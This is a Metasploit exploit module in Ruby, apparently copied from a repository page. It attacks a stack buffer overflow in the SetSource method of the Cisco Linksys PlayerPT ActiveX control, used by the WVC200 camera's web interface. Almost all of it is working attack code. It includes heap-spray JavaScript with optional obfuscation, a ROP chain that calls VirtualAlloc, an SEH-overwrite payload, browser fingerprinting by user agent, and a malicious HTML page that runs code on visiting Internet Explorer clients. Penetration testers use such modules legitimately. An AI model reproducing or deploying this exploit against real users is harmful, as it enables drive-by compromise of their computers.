260 lines
7.6 KiB
Ruby
260 lines
7.6 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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#include Msf::Exploit::Remote::BrowserAutopwn
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#
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#autopwn_info({
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# :ua_name => HttpClients::IE,
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# :ua_minver => "6.0",
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# :ua_maxver => "8.0",
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# :javascript => true,
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# :os_name => OperatingSystems::WINDOWS,
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# :classid => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",
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# :method => "SetSource",
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# :rank => NormalRanking
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#})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cisco Linksys PlayerPT ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15
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as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ
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Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in
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the SetSource method, allows to trigger a stack based buffer overflow which leads
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to code execution under the context of the user visiting a malicious web page.
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},
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'Author' =>
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[
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'rgod', # Vuln discovery, PoC
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '80297' ],
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[ 'EDB', '18641' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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'BadChars' => "\x00\x0d\x0a\x5c",
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Cisco Linksys PlayerPT ActiveX Control 1.0.0.15
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[ 'Automatic', { } ],
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[
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'IE 6 on Windows XP SP3',
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{
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'Spray' => true,
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'SprayBlocks' => 0x185,
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'SprayOffset' => '0x0',
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'OffsetStackBottom' => 8556
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}
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],
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[
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'IE 7 on Windows XP SP3 / Windows Vista SP2',
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{
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'Spray' => true,
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'SprayBlocks' => 0x185,
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'SprayOffset' => '0x0',
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'OffsetStackBottom' => 3220
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}
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],
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[
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'IE 8 on Windows XP SP3',
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{
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'Spray' => false,
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'OffsetRop' => 160,
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'Offset' => 456,
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'Ret' => 0x1002c536, # ADD ESP,0A2C # RETN from PlayerPT.ocx
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'OffsetStackBottom' => 4108
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 22 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class
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)
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end
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def get_spray(t, js_code, js_nops)
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{t['SprayOffset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var z=1; z < #{t['SprayBlocks']}; z++) {
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heap_obj.alloc(block);
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}
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JS
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return spray
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end
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# rop chain generated with mona.py
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def create_rop_chain()
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rop_gadgets =
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[
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0x77c2f271, # POP EBP # RETN [msvcrt.dll]
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0x77c2f271, # skip 4 bytes [msvcrt.dll]
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0x77c5335d, # POP EBX # RETN [msvcrt.dll]
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0xffffffff, #
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0x77c127e1, # INC EBX # RETN [msvcrt.dll]
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0x77c127e1, # INC EBX # RETN [msvcrt.dll]
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0x77c4e392, # POP EAX # RETN [msvcrt.dll]
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0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
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0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
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0x77c34de1, # POP EAX # RETN [msvcrt.dll]
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0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
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0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
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0x77c479e2, # POP EDI # RETN [msvcrt.dll]
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0x77c39f92, # RETN (ROP NOP) [msvcrt.dll]
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0x77c3b8ba, # POP ESI # RETN [msvcrt.dll]
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0x77c2aacc, # JMP [EAX] [msvcrt.dll]
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0x77c4e392, # POP EAX # RETN [msvcrt.dll]
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0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
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0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
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0x77c51025, # ptr to 'push esp # ret ' [msvcrt.dll]
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].pack("V*")
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return rop_gadgets
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end
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def get_payload(my_target)
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case my_target.name
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when /IE 6 on Windows XP SP3/
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my_payload = "\x0c" * my_target['OffsetStackBottom']
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return my_payload
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when /IE 7 on Windows XP SP3 \/ Windows Vista SP2/
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my_payload = "\x0c" * my_target['OffsetStackBottom']
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return my_payload
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when /IE 8 on Windows XP SP3/
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my_payload = rand_text_alpha(my_target['OffsetRop'])
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my_payload << create_rop_chain
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my_payload << make_nops(my_target['Offset'] - my_payload.length)
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my_payload << generate_seh_record(my_target.ret)
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my_payload << payload.encoded
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my_payload << rand_text_alpha(my_target['OffsetStackBottom'] - my_payload.length)
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return my_payload
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end
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[3] #IE 8 on Windows XP SP3
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows Vista SP2
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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print_status("User-agent: #{agent}")
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have a setup we're targeting
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if my_target.nil?
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print_error("Browser not supported: #{agent}")
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send_not_found(cli)
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return
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end
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js = ""
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if my_target['Spray']
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p = payload.encoded
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
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js = get_spray(my_target, js_code, js_nops)
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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end
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sploit = get_payload(my_target)
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sploit = sploit.gsub(/"/, "\\\"")
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html = <<-MYHTML
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<html>
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<head>
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<script>
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#{js}
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</script>
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</head>
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<body>
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<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>
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<script>
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obj.SetSource("","","","","#{sploit}");
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</script>
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</body>
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</html>
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MYHTML
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html = html.gsub(/^ {4}/, '')
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print_status("Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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